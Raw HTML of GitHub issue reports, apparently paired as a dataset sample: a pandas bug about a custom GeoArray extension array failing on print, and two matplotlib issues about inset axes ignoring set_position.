<h4 dir="auto">Code Sample, a copy-pastable example if possible</h4> <div class="highlight highlight-source-python notranslate position-relative overflow-auto" dir="auto" data-snippet-clipboard-copy-content="class NumPyBackedExtensionArrayMixin(ExtensionArray): &quot;&quot;&quot; Geo-Specific Extension Array Mixin &quot;&quot;&quot; @property def dtype(self): &quot;&quot;&quot;The dtype for this extension array, GeoType&quot;&quot;&quot; return self._dtype @classmethod def _constructor_from_sequence(cls, scalars): return cls(scalars) @classmethod def _from_factorized(cls, values, original): return cls(values) @property def shape(self): return (len(self.data),) def __len__(self): return len(self.data) def __getitem__(self, *args): result = operator.getitem(self.data, *args) return result #if isinstance(result, tuple): #return self._box_scalar(result) #elif result.ndim == 0: #return self._box_scalar(result.item()) #else: #return type(self)(result) def setitem(self, indexer, value): &quot;&quot;&quot;Set the 'value' inplace. &quot;&quot;&quot; self[indexer] = value return self @property def nbytes(self): return self._itemsize * len(self) def _formatting_values(self): return np.array(self._format_values(), dtype='object') def copy(self, deep=False): return type(self)(self.data.copy()) @classmethod def _concat_same_type(cls, to_concat): return cls(np.concatenate([array.data for array in to_concat])) def tolist(self): return self.data.tolist() def argsort(self, axis=-1, kind='quicksort', order=None): return self.data.argsort() def unique(self): _, indices = np.unique(self.data, return_index=True) data = self.data.take(np.sort(indices)) return self._from_ndarray(data) class GeoType(ExtensionDtype): name = 'geometry' type = Geometry kind = 'O' _record_type = np.dtype('O') na_value = None @classmethod def construct_from_string(cls, string): if string == cls.name: return cls() else: raise TypeError(&quot;Cannot construct a '{}' from &quot; &quot;'{}'&quot;.format(cls, string)) class GeoArray(NumPyBackedExtensionArrayMixin): &quot;&quot;&quot;Array for Geometry data. &quot;&quot;&quot; # What type(s) do we support? # MAC-48 or EUI-64? _dtype = GeoType() _itemsize = 8 ndim = 1 can_hold_na = True def __init__(self, values, copy=True): # TODO: parse hex / strings self.data = np.array(values, dtype='O', copy=copy) @classmethod def _from_ndarray(cls, data, copy=False): return cls(data, copy=copy) @property def na_value(self): return self.dtype.na_value def __repr__(self): formatted = self._format_values() return &quot;GeoArray({!r})&quot;.format(formatted) def _format_values(self): return [_format(x) for x in self.data] @classmethod def from_geometry(cls, data, copy=False): &quot;&quot;&quot;&quot;&quot;&quot; if copy: data = data.copy() new = GeoArray([]) new.data = np.array(data) return new def __setitem__(self, key, value): value = Geometry(value) self.data[key] = value def __iter__(self): return iter(self.data.tolist()) def __eq__(self, other): return self.data == other def equals(self, other): if not isinstance(other, type(self)): raise TypeError return (self.data == other.data).all() def _values_for_factorize(self): # Should hit pandas' UInt64Hashtable return self, 0 def isna(self): return (self.data == self._dtype.na_value) @property def _parser(self): return lambda x: x def take(self, indexer, allow_fill=True, fill_value=None): mask = indexer == -1 result = self.data.take(indexer) result[mask] = self.dtype.na_value return type(self)(result, copy=False) def _formatting_values(self): return np.array(self._format_values(), dtype='object') @classmethod def _concat_same_type(cls, to_concat): return cls(np.concatenate([array.data for array in to_concat])) def take_nd(self, indexer, allow_fill=True, fill_value=None): return self.take(indexer, allow_fill=allow_fill, fill_value=fill_value) def copy(self, deep=False): return type(self)(self.data.copy()) from arcgis.geometry import BaseGeometry @property def is_valid(self): &quot;&quot;&quot;Checks if the Geometry is Valid&quot;&quot;&quot; return pd.Series([g.is_valid for g in self]) #### TO GET THE ERROR &gt;&gt;&gt; geoms = [{ &quot;rings&quot; : [[[-97.06138,32.837],[-97.06133,32.836],[-97.06124,32.834],[-97.06127,32.832], [-97.06138,32.837]],[[-97.06326,32.759],[-97.06298,32.755],[-97.06153,32.749], [-97.06326,32.759]]], &quot;spatialReference&quot; : {&quot;wkid&quot; : 4326} } ] &gt;&gt;&gt; v = GeoArray(geoms) &gt;&gt;&gt; df = pd.DataFrame({&quot;SHAPE&quot;: v}) &gt;&gt;&gt; small = df.head(1) &gt;&gt;&gt; print(small) "><pre class="notranslate"><span class="pl-k">class</span> <span class="pl-v">NumPyBackedExtensionArrayMixin</span>(<span class="pl-v">ExtensionArray</span>): <span class="pl-s">"""</span> <span class="pl-s"> Geo-Specific Extension Array Mixin</span> <span class="pl-s"> """</span> <span class="pl-en">@<span class="pl-s1">property</span></span> <span class="pl-k">def</span> <span class="pl-en">dtype</span>(<span class="pl-s1">self</span>): <span class="pl-s">"""The dtype for this extension array, GeoType"""</span> <span class="pl-k">return</span> <span class="pl-s1">self</span>.<span class="pl-s1">_dtype</span> <span class="pl-en">@<span class="pl-s1">classmethod</span></span> <span class="pl-k">def</span> <span class="pl-en">_constructor_from_sequence</span>(<span class="pl-s1">cls</span>, <span class="pl-s1">scalars</span>): <span class="pl-k">return</span> <span class="pl-en">cls</span>(<span class="pl-s1">scalars</span>) <span class="pl-en">@<span class="pl-s1">classmethod</span></span> <span class="pl-k">def</span> <span class="pl-en">_from_factorized</span>(<span class="pl-s1">cls</span>, <span class="pl-s1">values</span>, <span class="pl-s1">original</span>): <span class="pl-k">return</span> <span class="pl-en">cls</span>(<span class="pl-s1">values</span>) <span class="pl-en">@<span class="pl-s1">property</span></span> <span class="pl-k">def</span> <span class="pl-en">shape</span>(<span class="pl-s1">self</span>): <span class="pl-k">return</span> (<span class="pl-en">len</span>(<span class="pl-s1">self</span>.<span class="pl-s1">data</span>),) <span class="pl-k">def</span> <span class="pl-en">__len__</span>(<span class="pl-s1">self</span>): <span class="pl-k">return</span> <span class="pl-en">len</span>(<span class="pl-s1">self</span>.<span class="pl-s1">data</span>) <span class="pl-k">def</span> <span class="pl-en">__getitem__</span>(<span class="pl-s1">self</span>, <span class="pl-c1">*</span><span class="pl-s1">args</span>): <span class="pl-s1">result</span> <span class="pl-c1">=</span> <span class="pl-s1">operator</span>.<span class="pl-en">getitem</span>(<span class="pl-s1">self</span>.<span class="pl-s1">data</span>, <span class="pl-c1">*</span><span class="pl-s1">args</span>) <span class="pl-k">return</span> <span class="pl-s1">result</span> <span class="pl-c">#if isinstance(result, tuple):</span> <span class="pl-c">#return self._box_scalar(result)</span> <span class="pl-c">#elif result.ndim == 0:</span> <span class="pl-c">#return self._box_scalar(result.item())</span> <span class="pl-c">#else:</span> <span class="pl-c">#return type(self)(result)</span> <span class="pl-k">def</span> <span class="pl-en">setitem</span>(<span class="pl-s1">self</span>, <span class="pl-s1">indexer</span>, <span class="pl-s1">value</span>): <span class="pl-s">"""Set the 'value' inplace.</span> <span class="pl-s"> """</span> <span class="pl-s1">self</span>[<span class="pl-s1">indexer</span>] <span class="pl-c1">=</span> <span class="pl-s1">value</span> <span class="pl-k">return</span> <span class="pl-s1">self</span> <span class="pl-en">@<span class="pl-s1">property</span></span> <span class="pl-k">def</span> <span class="pl-en">nbytes</span>(<span class="pl-s1">self</span>): <span class="pl-k">return</span> <span class="pl-s1">self</span>.<span class="pl-s1">_itemsize</span> <span class="pl-c1">*</span> <span class="pl-en">len</span>(<span class="pl-s1">self</span>) <span class="pl-k">def</span> <span class="pl-en">_formatting_values</span>(<span class="pl-s1">self</span>): <span class="pl-k">return</span> <span class="pl-s1">np</span>.<span class="pl-en">array</span>(<span class="pl-s1">self</span>.<span class="pl-en">_format_values</span>(), <span class="pl-s1">dtype</span><span class="pl-c1">=</span><span class="pl-s">'object'</span>) <span class="pl-k">def</span> <span class="pl-en">copy</span>(<span class="pl-s1">self</span>, <span class="pl-s1">deep</span><span class="pl-c1">=</span><span class="pl-c1">False</span>): <span class="pl-k">return</span> <span class="pl-en">type</span>(<span class="pl-s1">self</span>)(<span class="pl-s1">self</span>.<span class="pl-s1">data</span>.<span class="pl-en">copy</span>()) <span class="pl-en">@<span class="pl-s1">classmethod</span></span> <span class="pl-k">def</span> <span class="pl-en">_concat_same_type</span>(<span class="pl-s1">cls</span>, <span class="pl-s1">to_concat</span>): <span class="pl-k">return</span> <span class="pl-en">cls</span>(<span class="pl-s1">np</span>.<span class="pl-en">concatenate</span>([<span class="pl-s1">array</span>.<span class="pl-s1">data</span> <span class="pl-k">for</span> <span class="pl-s1">array</span> <span class="pl-c1">in</span> <span class="pl-s1">to_concat</span>])) <span class="pl-k">def</span> <span class="pl-en">tolist</span>(<span class="pl-s1">self</span>): <span class="pl-k">return</span> <span class="pl-s1">self</span>.<span class="pl-s1">data</span>.<span class="pl-en">tolist</span>() <span class="pl-k">def</span> <span class="pl-en">argsort</span>(<span class="pl-s1">self</span>, <span class="pl-s1">axis</span><span class="pl-c1">=</span><span class="pl-c1">-</span><span class="pl-c1">1</span>, <span class="pl-s1">kind</span><span class="pl-c1">=</span><span class="pl-s">'quicksort'</span>, <span class="pl-s1">order</span><span class="pl-c1">=</span><span class="pl-c1">None</span>): <span class="pl-k">return</span> <span class="pl-s1">self</span>.<span class="pl-s1">data</span>.<span class="pl-en">argsort</span>() <span class="pl-k">def</span> <span class="pl-en">unique</span>(<span class="pl-s1">self</span>): <span class="pl-s1">_</span>, <span class="pl-s1">indices</span> <span class="pl-c1">=</span> <span class="pl-s1">np</span>.<span class="pl-en">unique</span>(<span class="pl-s1">self</span>.<span class="pl-s1">data</span>, <span class="pl-s1">return_index</span><span class="pl-c1">=</span><span class="pl-c1">True</span>) <span class="pl-s1">data</span> <span class="pl-c1">=</span> <span class="pl-s1">self</span>.<span class="pl-s1">data</span>.<span class="pl-en">take</span>(<span class="pl-s1">np</span>.<span class="pl-en">sort</span>(<span class="pl-s1">indices</span>)) <span class="pl-k">return</span> <span class="pl-s1">self</span>.<span class="pl-en">_from_ndarray</span>(<span class="pl-s1">data</span>) <span class="pl-k">class</span> <span class="pl-v">GeoType</span>(<span class="pl-v">ExtensionDtype</span>): <span class="pl-s1">name</span> <span class="pl-c1">=</span> <span class="pl-s">'geometry'</span> <span class="pl-s1">type</span> <span class="pl-c1">=</span> <span class="pl-v">Geometry</span> <span class="pl-s1">kind</span> <span class="pl-c1">=</span> <span class="pl-s">'O'</span> <span class="pl-s1">_record_type</span> <span class="pl-c1">=</span> <span class="pl-s1">np</span>.<span class="pl-en">dtype</span>(<span class="pl-s">'O'</span>) <span class="pl-s1">na_value</span> <span class="pl-c1">=</span> <span class="pl-c1">None</span> <span class="pl-en">@<span class="pl-s1">classmethod</span></span> <span class="pl-k">def</span> <span class="pl-en">construct_from_string</span>(<span class="pl-s1">cls</span>, <span class="pl-s1">string</span>): <span class="pl-k">if</span> <span class="pl-s1">string</span> <span class="pl-c1">==</span> <span class="pl-s1">cls</span>.<span class="pl-s1">name</span>: <span class="pl-k">return</span> <span class="pl-en">cls</span>() <span class="pl-k">else</span>: <span class="pl-k">raise</span> <span class="pl-v">TypeError</span>(<span class="pl-s">"Cannot construct a '{}' from "</span> <span class="pl-s">"'{}'"</span>.<span class="pl-en">format</span>(<span class="pl-s1">cls</span>, <span class="pl-s1">string</span>)) <span class="pl-k">class</span> <span class="pl-v">GeoArray</span>(<span class="pl-v">NumPyBackedExtensionArrayMixin</span>): <span class="pl-s">"""Array for Geometry data.</span> <span class="pl-s"> """</span> <span class="pl-c"># What type(s) do we support?</span> <span class="pl-c"># MAC-48 or EUI-64?</span> <span class="pl-s1">_dtype</span> <span class="pl-c1">=</span> <span class="pl-v">GeoType</span>() <span class="pl-s1">_itemsize</span> <span class="pl-c1">=</span> <span class="pl-c1">8</span> <span class="pl-s1">ndim</span> <span class="pl-c1">=</span> <span class="pl-c1">1</span> <span class="pl-s1">can_hold_na</span> <span class="pl-c1">=</span> <span class="pl-c1">True</span> <span class="pl-k">def</span> <span class="pl-en">__init__</span>(<span class="pl-s1">self</span>, <span class="pl-s1">values</span>, <span class="pl-s1">copy</span><span class="pl-c1">=</span><span class="pl-c1">True</span>): <span class="pl-c"># TODO: parse hex / strings</span> <span class="pl-s1">self</span>.<span class="pl-s1">data</span> <span class="pl-c1">=</span> <span class="pl-s1">np</span>.<span class="pl-en">array</span>(<span class="pl-s1">values</span>, <span class="pl-s1">dtype</span><span class="pl-c1">=</span><span class="pl-s">'O'</span>, <span class="pl-s1">copy</span><span class="pl-c1">=</span><span class="pl-s1">copy</span>) <span class="pl-en">@<span class="pl-s1">classmethod</span></span> <span class="pl-k">def</span> <span class="pl-en">_from_ndarray</span>(<span class="pl-s1">cls</span>, <span class="pl-s1">data</span>, <span class="pl-s1">copy</span><span class="pl-c1">=</span><span class="pl-c1">False</span>): <span class="pl-k">return</span> <span class="pl-en">cls</span>(<span class="pl-s1">data</span>, <span class="pl-s1">copy</span><span class="pl-c1">=</span><span class="pl-s1">copy</span>) <span class="pl-en">@<span class="pl-s1">property</span></span> <span class="pl-k">def</span> <span class="pl-en">na_value</span>(<span class="pl-s1">self</span>): <span class="pl-k">return</span> <span class="pl-s1">self</span>.<span class="pl-s1">dtype</span>.<span class="pl-s1">na_value</span> <span class="pl-k">def</span> <span class="pl-en">__repr__</span>(<span class="pl-s1">self</span>): <span class="pl-s1">formatted</span> <span class="pl-c1">=</span> <span class="pl-s1">self</span>.<span class="pl-en">_format_values</span>() <span class="pl-k">return</span> <span class="pl-s">"GeoArray({!r})"</span>.<span class="pl-en">format</span>(<span class="pl-s1">formatted</span>) <span class="pl-k">def</span> <span class="pl-en">_format_values</span>(<span class="pl-s1">self</span>): <span class="pl-k">return</span> [<span class="pl-en">_format</span>(<span class="pl-s1">x</span>) <span class="pl-k">for</span> <span class="pl-s1">x</span> <span class="pl-c1">in</span> <span class="pl-s1">self</span>.<span class="pl-s1">data</span>] <span class="pl-en">@<span class="pl-s1">classmethod</span></span> <span class="pl-k">def</span> <span class="pl-en">from_geometry</span>(<span class="pl-s1">cls</span>, <span class="pl-s1">data</span>, <span class="pl-s1">copy</span><span class="pl-c1">=</span><span class="pl-c1">False</span>): <span class="pl-s">""""""</span> <span class="pl-k">if</span> <span class="pl-s1">copy</span>: <span class="pl-s1">data</span> <span class="pl-c1">=</span> <span class="pl-s1">data</span>.<span class="pl-en">copy</span>() <span class="pl-s1">new</span> <span class="pl-c1">=</span> <span class="pl-v">GeoArray</span>([]) <span class="pl-s1">new</span>.<span class="pl-s1">data</span> <span class="pl-c1">=</span> <span class="pl-s1">np</span>.<span class="pl-en">array</span>(<span class="pl-s1">data</span>) <span class="pl-k">return</span> <span class="pl-s1">new</span> <span class="pl-k">def</span> <span class="pl-en">__setitem__</span>(<span class="pl-s1">self</span>, <span class="pl-s1">key</span>, <span class="pl-s1">value</span>): <span class="pl-s1">value</span> <span class="pl-c1">=</span> <span class="pl-v">Geometry</span>(<span class="pl-s1">value</span>) <span class="pl-s1">self</span>.<span class="pl-s1">data</span>[<span class="pl-s1">key</span>] <span class="pl-c1">=</span> <span class="pl-s1">value</span> <span class="pl-k">def</span> <span class="pl-en">__iter__</span>(<span class="pl-s1">self</span>): <span class="pl-k">return</span> <span class="pl-en">iter</span>(<span class="pl-s1">self</span>.<span class="pl-s1">data</span>.<span class="pl-en">tolist</span>()) <span class="pl-k">def</span> <span class="pl-en">__eq__</span>(<span class="pl-s1">self</span>, <span class="pl-s1">other</span>): <span class="pl-k">return</span> <span class="pl-s1">self</span>.<span class="pl-s1">data</span> <span class="pl-c1">==</span> <span class="pl-s1">other</span> <span class="pl-k">def</span> <span class="pl-en">equals</span>(<span class="pl-s1">self</span>, <span class="pl-s1">other</span>): <span class="pl-k">if</span> <span class="pl-c1">not</span> <span class="pl-en">isinstance</span>(<span class="pl-s1">other</span>, <span class="pl-en">type</span>(<span class="pl-s1">self</span>)): <span class="pl-k">raise</span> <span class="pl-v">TypeError</span> <span class="pl-k">return</span> (<span class="pl-s1">self</span>.<span class="pl-s1">data</span> <span class="pl-c1">==</span> <span class="pl-s1">other</span>.<span class="pl-s1">data</span>).<span class="pl-en">all</span>() <span class="pl-k">def</span> <span class="pl-en">_values_for_factorize</span>(<span class="pl-s1">self</span>): <span class="pl-c"># Should hit pandas' UInt64Hashtable</span> <span class="pl-k">return</span> <span class="pl-s1">self</span>, <span class="pl-c1">0</span> <span class="pl-k">def</span> <span class="pl-en">isna</span>(<span class="pl-s1">self</span>): <span class="pl-k">return</span> (<span class="pl-s1">self</span>.<span class="pl-s1">data</span> <span class="pl-c1">==</span> <span class="pl-s1">self</span>.<span class="pl-s1">_dtype</span>.<span class="pl-s1">na_value</span>) <span class="pl-en">@<span class="pl-s1">property</span></span> <span class="pl-k">def</span> <span class="pl-en">_parser</span>(<span class="pl-s1">self</span>): <span class="pl-k">return</span> <span class="pl-k">lambda</span> <span class="pl-s1">x</span>: <span class="pl-s1">x</span> <span class="pl-k">def</span> <span class="pl-en">take</span>(<span class="pl-s1">self</span>, <span class="pl-s1">indexer</span>, <span class="pl-s1">allow_fill</span><span class="pl-c1">=</span><span class="pl-c1">True</span>, <span class="pl-s1">fill_value</span><span class="pl-c1">=</span><span class="pl-c1">None</span>): <span class="pl-s1">mask</span> <span class="pl-c1">=</span> <span class="pl-s1">indexer</span> <span class="pl-c1">==</span> <span class="pl-c1">-</span><span class="pl-c1">1</span> <span class="pl-s1">result</span> <span class="pl-c1">=</span> <span class="pl-s1">self</span>.<span class="pl-s1">data</span>.<span class="pl-en">take</span>(<span class="pl-s1">indexer</span>) <span class="pl-s1">result</span>[<span class="pl-s1">mask</span>] <span class="pl-c1">=</span> <span class="pl-s1">self</span>.<span class="pl-s1">dtype</span>.<span class="pl-s1">na_value</span> <span class="pl-k">return</span> <span class="pl-en">type</span>(<span class="pl-s1">self</span>)(<span class="pl-s1">result</span>, <span class="pl-s1">copy</span><span class="pl-c1">=</span><span class="pl-c1">False</span>) <span class="pl-k">def</span> <span class="pl-en">_formatting_values</span>(<span class="pl-s1">self</span>): <span class="pl-k">return</span> <span class="pl-s1">np</span>.<span class="pl-en">array</span>(<span class="pl-s1">self</span>.<span class="pl-en">_format_values</span>(), <span class="pl-s1">dtype</span><span class="pl-c1">=</span><span class="pl-s">'object'</span>) <span class="pl-en">@<span class="pl-s1">classmethod</span></span> <span class="pl-k">def</span> <span class="pl-en">_concat_same_type</span>(<span class="pl-s1">cls</span>, <span class="pl-s1">to_concat</span>): <span class="pl-k">return</span> <span class="pl-en">cls</span>(<span class="pl-s1">np</span>.<span class="pl-en">concatenate</span>([<span class="pl-s1">array</span>.<span class="pl-s1">data</span> <span class="pl-k">for</span> <span class="pl-s1">array</span> <span class="pl-c1">in</span> <span class="pl-s1">to_concat</span>])) <span class="pl-k">def</span> <span class="pl-en">take_nd</span>(<span class="pl-s1">self</span>, <span class="pl-s1">indexer</span>, <span class="pl-s1">allow_fill</span><span class="pl-c1">=</span><span class="pl-c1">True</span>, <span class="pl-s1">fill_value</span><span class="pl-c1">=</span><span class="pl-c1">None</span>): <span class="pl-k">return</span> <span class="pl-s1">self</span>.<span class="pl-en">take</span>(<span class="pl-s1">indexer</span>, <span class="pl-s1">allow_fill</span><span class="pl-c1">=</span><span class="pl-s1">allow_fill</span>, <span class="pl-s1">fill_value</span><span class="pl-c1">=</span><span class="pl-s1">fill_value</span>) <span class="pl-k">def</span> <span class="pl-en">copy</span>(<span class="pl-s1">self</span>, <span class="pl-s1">deep</span><span class="pl-c1">=</span><span class="pl-c1">False</span>): <span class="pl-k">return</span> <span class="pl-en">type</span>(<span class="pl-s1">self</span>)(<span class="pl-s1">self</span>.<span class="pl-s1">data</span>.<span class="pl-en">copy</span>()) <span class="pl-k">from</span> <span class="pl-s1">arcgis</span>.<span class="pl-s1">geometry</span> <span class="pl-k">import</span> <span class="pl-v">BaseGeometry</span> <span class="pl-en">@<span class="pl-s1">property</span></span> <span class="pl-k">def</span> <span class="pl-en">is_valid</span>(<span class="pl-s1">self</span>): <span class="pl-s">"""Checks if the Geometry is Valid"""</span> <span class="pl-k">return</span> <span class="pl-s1">pd</span>.<span class="pl-v">Series</span>([<span class="pl-s1">g</span>.<span class="pl-s1">is_valid</span> <span class="pl-k">for</span> <span class="pl-s1">g</span> <span class="pl-c1">in</span> <span class="pl-s1">self</span>]) <span class="pl-c">#### TO GET THE ERROR</span> <span class="pl-c1">&gt;&gt;</span><span class="pl-c1">&gt;</span> <span class="pl-s1">geoms</span> <span class="pl-c1">=</span> [{ <span class="pl-s">"rings"</span> : [[[<span class="pl-c1">-</span><span class="pl-c1">97.06138</span>,<span class="pl-c1">32.837</span>],[<span class="pl-c1">-</span><span class="pl-c1">97.06133</span>,<span class="pl-c1">32.836</span>],[<span class="pl-c1">-</span><span class="pl-c1">97.06124</span>,<span class="pl-c1">32.834</span>],[<span class="pl-c1">-</span><span class="pl-c1">97.06127</span>,<span class="pl-c1">32.832</span>], [<span class="pl-c1">-</span><span class="pl-c1">97.06138</span>,<span class="pl-c1">32.837</span>]],[[<span class="pl-c1">-</span><span class="pl-c1">97.06326</span>,<span class="pl-c1">32.759</span>],[<span class="pl-c1">-</span><span class="pl-c1">97.06298</span>,<span class="pl-c1">32.755</span>],[<span class="pl-c1">-</span><span class="pl-c1">97.06153</span>,<span class="pl-c1">32.749</span>], [<span class="pl-c1">-</span><span class="pl-c1">97.06326</span>,<span class="pl-c1">32.759</span>]]], <span class="pl-s">"spatialReference"</span> : {<span class="pl-s">"wkid"</span> : <span class="pl-c1">4326</span>} } ] <span class="pl-c1">&gt;&gt;</span><span class="pl-c1">&gt;</span> <span class="pl-s1">v</span> <span class="pl-c1">=</span> <span class="pl-v">GeoArray</span>(<span class="pl-s1">geoms</span>) <span class="pl-c1">&gt;&gt;</span><span class="pl-c1">&gt;</span> <span class="pl-s1">df</span> <span class="pl-c1">=</span> <span class="pl-s1">pd</span>.<span class="pl-v">DataFrame</span>({<span class="pl-s">"SHAPE"</span>: <span class="pl-s1">v</span>}) <span class="pl-c1">&gt;&gt;</span><span class="pl-c1">&gt;</span> <span class="pl-s1">small</span> <span class="pl-c1">=</span> <span class="pl-s1">df</span>.<span class="pl-en">head</span>(<span class="pl-c1">1</span>) <span class="pl-c1">&gt;&gt;</span><span class="pl-c1">&gt;</span> <span class="pl-en">print</span>(<span class="pl-s1">small</span>) </pre></div> <h4 dir="auto">Problem description</h4> <p dir="auto">Here is where the error occurs with I do a print(df.head(1))</p> <p dir="auto"><code class="notranslate"> builtins.AttributeError: 'numpy.ndarray' object has no attribute '_formatting_values'</code></p> <div class="snippet-clipboard-content notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content=" def formatting_values(self): return self.values._formatting_values()"><pre class="notranslate"><code class="notranslate"> def formatting_values(self): return self.values._formatting_values() </code></pre></div> <p dir="auto">I've implemented the override in the GeoArray, but it doesn't seem to ever get called instead it's calling the <code class="notranslate">_formatting_values()</code> on the <code class="notranslate">ExtensionBlock</code> class.</p> <p dir="auto">Any suggestions on how to resolve this issue?</p> <h4 dir="auto">Expected Output</h4> <p dir="auto">A html version of the dataframe.</p> <h4 dir="auto">Output of <code class="notranslate">pd.show_versions()</code></h4> <details> <p dir="auto">[paste the output of <code class="notranslate">pd.show_versions()</code> here below this line]</p> <h2 dir="auto">INSTALLED VERSIONS</h2> <p dir="auto">commit: None<br> python: 3.6.5.final.0<br> python-bits: 64<br> OS: Windows<br> OS-release: 10<br> machine: AMD64<br> processor: Intel64 Family 6 Model 94 Stepping 3, GenuineIntel<br> byteorder: little<br> LC_ALL: None<br> LANG: None<br> LOCALE: English_United States.1252</p> <p dir="auto">pandas: 0.23.0<br> pytest: 3.5.0<br> pip: 9.0.3<br> setuptools: 39.0.1<br> Cython: None<br> numpy: 1.14.2<br> scipy: 1.0.1<br> pyarrow: None<br> xarray: None<br> IPython: 6.3.1<br> sphinx: None<br> patsy: None<br> dateutil: 2.7.2<br> pytz: 2018.3<br> blosc: None<br> bottleneck: None<br> tables: None<br> numexpr: 2.6.4<br> feather: None<br> matplotlib: 2.2.2<br> openpyxl: 2.5.2<br> xlrd: 1.1.0<br> xlwt: 1.3.0<br> xlsxwriter: None<br> lxml: None<br> bs4: None<br> html5lib: 1.0.1<br> sqlalchemy: None<br> pymysql: None<br> psycopg2: None<br> jinja2: 2.10<br> s3fs: None<br> fastparquet: None<br> pandas_gbq: None<br> pandas_datareader: None</p> </details>
0
<p dir="auto"><code class="notranslate">ax.inset_axes</code> does not allow <code class="notranslate">set_position</code> or <code class="notranslate">set_transform</code> if the user wants to change the position of an inset axes. This s probably easy to add, but I think means that <code class="notranslate">inset_axes</code> would need to have a new axes subclass that overloads those methods.</p>
<h3 dir="auto">Bug report</h3> <p dir="auto"><strong>Bug summary</strong></p> <p dir="auto">Axes added using Axes.inset_axes() in matplotlib 3.0.2 don't respond visually to Axes.set_position().</p> <p dir="auto"><strong>Code for reproduction</strong></p> <div class="highlight highlight-source-python notranslate position-relative overflow-auto" dir="auto" data-snippet-clipboard-copy-content="import matplotlib.pyplot as plt # an example using regular axes fig, ax = plt.subplots() ax2 = fig.add_axes([.7,.7,.2,.2]) ax2.set_position([.1,.1,.2,.2]) print(ax2.get_position()) plt.show() # plt.show() shows axes that match the ax2.get_position() output # an example using Axes.inset_axes fig, ax = plt.subplots() ax2 = ax.inset_axes([.7,.7,.2,.2]) ax2.set_position([.1,.1,.2,.2]) print(ax2.get_position()) plt.show() # plt.show() shows axes at the position set when ax.inset_axes was called, but ax2.get_position() shows the values from set_position "><pre class="notranslate"><span class="pl-k">import</span> <span class="pl-s1">matplotlib</span>.<span class="pl-s1">pyplot</span> <span class="pl-k">as</span> <span class="pl-s1">plt</span> <span class="pl-c"># an example using regular axes</span> <span class="pl-s1">fig</span>, <span class="pl-s1">ax</span> <span class="pl-c1">=</span> <span class="pl-s1">plt</span>.<span class="pl-en">subplots</span>() <span class="pl-s1">ax2</span> <span class="pl-c1">=</span> <span class="pl-s1">fig</span>.<span class="pl-en">add_axes</span>([<span class="pl-c1">.7</span>,<span class="pl-c1">.7</span>,<span class="pl-c1">.2</span>,<span class="pl-c1">.2</span>]) <span class="pl-s1">ax2</span>.<span class="pl-en">set_position</span>([<span class="pl-c1">.1</span>,<span class="pl-c1">.1</span>,<span class="pl-c1">.2</span>,<span class="pl-c1">.2</span>]) <span class="pl-en">print</span>(<span class="pl-s1">ax2</span>.<span class="pl-en">get_position</span>()) <span class="pl-s1">plt</span>.<span class="pl-en">show</span>() <span class="pl-c"># plt.show() shows axes that match the ax2.get_position() output</span> <span class="pl-c"># an example using Axes.inset_axes</span> <span class="pl-s1">fig</span>, <span class="pl-s1">ax</span> <span class="pl-c1">=</span> <span class="pl-s1">plt</span>.<span class="pl-en">subplots</span>() <span class="pl-s1">ax2</span> <span class="pl-c1">=</span> <span class="pl-s1">ax</span>.<span class="pl-en">inset_axes</span>([<span class="pl-c1">.7</span>,<span class="pl-c1">.7</span>,<span class="pl-c1">.2</span>,<span class="pl-c1">.2</span>]) <span class="pl-s1">ax2</span>.<span class="pl-en">set_position</span>([<span class="pl-c1">.1</span>,<span class="pl-c1">.1</span>,<span class="pl-c1">.2</span>,<span class="pl-c1">.2</span>]) <span class="pl-en">print</span>(<span class="pl-s1">ax2</span>.<span class="pl-en">get_position</span>()) <span class="pl-s1">plt</span>.<span class="pl-en">show</span>() <span class="pl-c"># plt.show() shows axes at the position set when ax.inset_axes was called, but ax2.get_position() shows the values from set_position </span></pre></div> <p dir="auto"><strong>Actual outcome</strong></p> <div class="highlight highlight-source-python notranslate position-relative overflow-auto" dir="auto" data-snippet-clipboard-copy-content="Bbox(x0=0.1, y0=0.1, x1=0.30000000000000004, y1=0.30000000000000004) Bbox(x0=0.1, y0=0.1, x1=0.30000000000000004, y1=0.30000000000000004)"><pre class="notranslate"><span class="pl-v">Bbox</span>(<span class="pl-s1">x0</span><span class="pl-c1">=</span><span class="pl-c1">0.1</span>, <span class="pl-s1">y0</span><span class="pl-c1">=</span><span class="pl-c1">0.1</span>, <span class="pl-s1">x1</span><span class="pl-c1">=</span><span class="pl-c1">0.30000000000000004</span>, <span class="pl-s1">y1</span><span class="pl-c1">=</span><span class="pl-c1">0.30000000000000004</span>) <span class="pl-v">Bbox</span>(<span class="pl-s1">x0</span><span class="pl-c1">=</span><span class="pl-c1">0.1</span>, <span class="pl-s1">y0</span><span class="pl-c1">=</span><span class="pl-c1">0.1</span>, <span class="pl-s1">x1</span><span class="pl-c1">=</span><span class="pl-c1">0.30000000000000004</span>, <span class="pl-s1">y1</span><span class="pl-c1">=</span><span class="pl-c1">0.30000000000000004</span>)</pre></div> <p dir="auto"><a target="_blank" rel="noopener noreferrer nofollow" href="https://user-images.githubusercontent.com/4028662/49946889-cb821300-fee7-11e8-8b55-6831727436d7.png"><img src="https://user-images.githubusercontent.com/4028662/49946889-cb821300-fee7-11e8-8b55-6831727436d7.png" alt="image" style="max-width: 100%;"></a></p> <p dir="auto"><strong>Expected outcome</strong></p> <p dir="auto">I believe the outcome should match the regular Axes use case:</p> <p dir="auto"><a target="_blank" rel="noopener noreferrer nofollow" href="https://user-images.githubusercontent.com/4028662/49947111-56fba400-fee8-11e8-80a4-81135c493eac.png"><img src="https://user-images.githubusercontent.com/4028662/49947111-56fba400-fee8-11e8-80a4-81135c493eac.png" alt="image" style="max-width: 100%;"></a></p> <p dir="auto"><strong>Matplotlib version</strong></p> <ul dir="auto"> <li>Operating system: Windows 10 x64</li> <li>Matplotlib version: 3.0.2</li> <li>Matplotlib backend: TkAgg</li> <li>Python version: 3.7.0</li> <li>Other libraries:<br> altgraph==0.16.1<br> bleach==3.0.2<br> certifi==2018.11.29<br> chardet==3.0.4<br> Click==7.0<br> cx-Freeze==5.1.1<br> cycler==0.10.0<br> docutils==0.14<br> future==0.17.1<br> idna==2.7<br> kiwisolver==1.0.1<br> macholib==1.11<br> matplotlib==3.0.2<br> numpy==1.15.1+mkl<br> pefile==2018.8.8<br> Pillow==5.3.0<br> pkginfo==1.4.2<br> Pygments==2.3.0<br> PyInstaller==3.4<br> pyjanssen==0.1<br> pyparsing==2.3.0<br> PyQt5==5.11.3<br> PyQt5-sip==4.19.13<br> pyqt5-tools==5.11.2.1.3<br> python-dateutil==2.7.5<br> 